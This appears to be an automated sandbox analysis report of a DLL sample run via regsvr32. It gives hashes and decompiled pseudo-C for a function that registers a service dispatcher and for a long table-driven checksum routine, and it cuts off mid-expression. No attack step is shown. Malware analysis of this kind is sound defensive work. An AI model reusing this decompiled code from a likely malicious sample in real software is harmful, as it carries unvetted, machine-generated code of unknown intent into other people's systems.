Snapshot File: hcaresult_3_2_10000000_regsvr32.jbxd

Similarity

API ID: Time$FileSystemUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 1518329722-0
Opcode ID: 617abdcef3378a0b2555bc6a6af6e5dd57d8dd6186ffeab6141ea36dc879f43d
Instruction ID: 488e429c525a6dd8d64becff10fe5b8b1dafcdd41b59e10bd20b5bc9f572d0c9
Opcode Fuzzy Hash: 617abdcef3378a0b2555bc6a6af6e5dd57d8dd6186ffeab6141ea36dc879f43d
Instruction Fuzzy Hash: 26E086B6910308BBD714DF64CD45F5EB7ECEB44B44F014A1DBD56A7241D170EE008760

Uniqueness

Uniqueness Score: -1.00%

Function 10002297, Relevance: 1.5, APIs: 1, Instructions: 35
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E10002297() {
				void* __edi;
				signed int _t2;
				struct _SERVICE_TABLE_ENTRY* _t5;
				signed int _t6;
				signed int* _t12;
				intOrPtr _t13;

				_t2 = E10009568(0x10);
				 *0x1002b728 = _t2;
				if(_t2 != 0) {
					_t2 = E10009568(0xa);
					_t12 =  *0x1002b728; // 0x0
					 *_t12 = _t2;
					if(_t2 == 0) {
						goto L1;
					} else {
						_t13 =  *0x1002b740; // 0x11a04a0
						E1000AC12(_t2, 1, 7, 8, _t13 + 0x648);
						_t5 =  *0x1002b728; // 0x0
						 *((intOrPtr*)(_t5 + 4)) = 0x1000223b;
						_t6 = StartServiceCtrlDispatcherA(_t5);
						asm("sbb eax, eax");
						return  ~( ~_t6) - 1;
					}
				} else {
					L1:
					return _t2 | 0xffffffff;
				}
			}

0x10002299
0x1000229f
0x100022a6
0x100022ae
0x100022b4
0x100022ba
0x100022be
0x00000000
0x100022c0
0x100022c0
0x100022d6
0x100022db
0x100022e4
0x100022eb
0x100022f3
0x100022f9
0x100022f9
0x100022a8
0x100022a8
0x100022ab
0x100022ab

APIs

Part of subcall function 10009568: RtlAllocateHeap.NTDLL(00000008,?,?,1000AC93,00000100,?,10002E84), ref: 10009576

StartServiceCtrlDispatcherA.ADVAPI32(00000000), ref: 100022EB

Memory Dump Source

Source File: 00000003.00000002.701108906.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.701082448.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.701182570.0000000010020000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.701219486.000000001002A000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_regsvr32.jbxd

Similarity

API ID: AllocateCtrlDispatcherHeapServiceStart
String ID:
API String ID: 731418710-0
Opcode ID: 6d39e0b60d93e381f6a043c7febb80032a1ea389ae96b67a201d3aab00c05412
Instruction ID: f1771d84405cdbc39ed6df9f5235ec778f6812d81fa7cd867fd6e624dcdbcf36
Opcode Fuzzy Hash: 6d39e0b60d93e381f6a043c7febb80032a1ea389ae96b67a201d3aab00c05412
Instruction Fuzzy Hash: D3F0A730384A065BF700CB78DC56B6436D8EB857A5FA10219F605CB2D5EEA5E4818711

Uniqueness

Uniqueness Score: -1.00%

Function 100155B5, Relevance: 1.4, Strings: 1, Instructions: 191
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E100155B5(signed int __eax, void* __ecx, signed char __edx, unsigned int _a4) {
				unsigned int _v8;
				signed int _t100;
				signed int _t103;
				signed char _t190;
				signed int _t239;
				void* _t242;
				signed char* _t245;
				signed int* _t247;
				signed int* _t248;
				signed int* _t249;
				signed int* _t250;
				signed int* _t251;
				signed int* _t252;
				signed int* _t253;

				_t190 = __edx;
				_t100 =  !__eax;
				if(_a4 != 0) {
					while((_t190 & 0x00000003) != 0) {
						_t100 = _t100 >> 0x00000008 ^  *(0x10022420 + (( *_t190 & 0x000000ff ^ _t100) & 0x000000ff) * 4);
						_t190 = _t190 + 1;
						_t6 =  &_a4;
						 *_t6 = _a4 - 1;
						if( *_t6 != 0) {
							continue;
						}
						goto L3;
					}
				}
				L3:
				_t245 = _t190;
				_t242 = 4;
				if(_a4 >= 0x20) {
					_v8 = _a4 >> 5;
					do {
						_t105 = _t100 ^  *_t245;
						_t247 =  &(_t245[_t242]);
						_t212 =  *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247;
						_t248 = _t247 + _t242;
						_t114 =  *(0x10022820 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t212 >> 0x18) * 4) ^  *(0x10023020 + (_t212 & 0x000000ff) * 4) ^  *_t248;
						_t249 = _t248 + _t242;
						_t221 =  *(0x10022820 + (( *(0x10022820 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t212 >> 0x18) * 4) ^  *(0x10023020 + (_t212 & 0x000000ff) * 4) ^  *_t248) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t212 >> 0x18) * 4) ^  *(0x10023020 + (_t212 & 0x000000ff) * 4) ^  *_t248) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t114 >> 0x18) * 4) ^  *(0x10023020 + (_t114 & 0x000000ff) * 4) ^  *_t249;
						_t250 = _t249 + _t242;
						_t123 =  *(0x10022820 + (( *(0x10022820 + (( *(0x10022820 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t212 >> 0x18) * 4) ^  *(0x10023020 + (_t212 & 0x000000ff) * 4) ^  *_t248) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t212 >> 0x18) * 4) ^  *(0x10023020 + (_t212 & 0x000000ff) * 4) ^  *_t248) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t114 >> 0x18) * 4) ^  *(0x10023020 + (_t114 & 0x000000ff) * 4) ^  *_t249) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + (( *(0x10022820 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t212 >> 0x18) * 4) ^  *(0x10023020 + (_t212 & 0x000000ff) * 4) ^  *_t248) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t212 >> 0x18) * 4) ^  *(0x10023020 + (_t212 & 0x000000ff) * 4) ^  *_t248) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t114 >> 0x18) * 4) ^  *(0x10023020 + (_t114 & 0x000000ff) * 4) ^  *_t249) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t221 >> 0x18) * 4) ^  *(0x10023020 + (_t221 & 0x000000ff) * 4) ^  *_t250;
						_t251 = _t250 + _t242;
						_t230 =  *(0x10022820 + (( *(0x10022820 + (( *(0x10022820 + (( *(0x10022820 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t212 >> 0x18) * 4) ^  *(0x10023020 + (_t212 & 0x000000ff) * 4) ^  *_t248) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t212 >> 0x18) * 4) ^  *(0x10023020 + (_t212 & 0x000000ff) * 4) ^  *_t248) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t114 >> 0x18) * 4) ^  *(0x10023020 + (_t114 & 0x000000ff) * 4) ^  *_t249) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + (( *(0x10022820 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t212 >> 0x18) * 4) ^  *(0x10023020 + (_t212 & 0x000000ff) * 4) ^  *_t248) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t212 >> 0x18) * 4) ^  *(0x10023020 + (_t212 & 0x000000ff) * 4) ^  *_t248) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t114 >> 0x18) * 4) ^  *(0x10023020 + (_t114 & 0x000000ff) * 4) ^  *_t249) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t221 >> 0x18) * 4) ^  *(0x10023020 + (_t221 & 0x000000ff) * 4) ^  *_t250) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + (( *(0x10022820 + (( *(0x10022820 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t212 >> 0x18) * 4) ^  *(0x10023020 + (_t212 & 0x000000ff) * 4) ^  *_t248) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t212 >> 0x18) * 4) ^  *(0x10023020 + (_t212 & 0x000000ff) * 4) ^  *_t248) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t114 >> 0x18) * 4) ^  *(0x10023020 + (_t114 & 0x000000ff) * 4) ^  *_t249) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + (( *(0x10022820 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t212 >> 0x18) * 4) ^  *(0x10023020 + (_t212 & 0x000000ff) * 4) ^  *_t248) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t212 >> 0x18) * 4) ^  *(0x10023020 + (_t212 & 0x000000ff) * 4) ^  *_t248) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t114 >> 0x18) * 4) ^  *(0x10023020 + (_t114 & 0x000000ff) * 4) ^  *_t249) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t221 >> 0x18) * 4) ^  *(0x10023020 + (_t221 & 0x000000ff) * 4) ^  *_t250) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t123 >> 0x18) * 4) ^  *(0x10023020 + (_t123 & 0x000000ff) * 4) ^  *_t251;
						_t252 = _t251 + _t242;
						_a4 = _a4 - 0x20;
						_t132 =  *(0x10022820 + (( *(0x10022820 + (( *(0x10022820 + (( *(0x10022820 + (( *(0x10022820 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t212 >> 0x18) * 4) ^  *(0x10023020 + (_t212 & 0x000000ff) * 4) ^  *_t248) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t212 >> 0x18) * 4) ^  *(0x10023020 + (_t212 & 0x000000ff) * 4) ^  *_t248) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t114 >> 0x18) * 4) ^  *(0x10023020 + (_t114 & 0x000000ff) * 4) ^  *_t249) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + (( *(0x10022820 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t212 >> 0x18) * 4) ^  *(0x10023020 + (_t212 & 0x000000ff) * 4) ^  *_t248) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t212 >> 0x18) * 4) ^  *(0x10023020 + (_t212 & 0x000000ff) * 4) ^  *_t248) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t114 >> 0x18) * 4) ^  *(0x10023020 + (_t114 & 0x000000ff) * 4) ^  *_t249) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t221 >> 0x18) * 4) ^  *(0x10023020 + (_t221 & 0x000000ff) * 4) ^  *_t250) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + (( *(0x10022820 + (( *(0x10022820 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t212 >> 0x18) * 4) ^  *(0x10023020 + (_t212 & 0x000000ff) * 4) ^  *_t248) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t212 >> 0x18) * 4) ^  *(0x10023020 + (_t212 & 0x000000ff) * 4) ^  *_t248) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t114 >> 0x18) * 4) ^  *(0x10023020 + (_t114 & 0x000000ff) * 4) ^  *_t249) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + (( *(0x10022820 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t212 >> 0x18) * 4) ^  *(0x10023020 + (_t212 & 0x000000ff) * 4) ^  *_t248) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 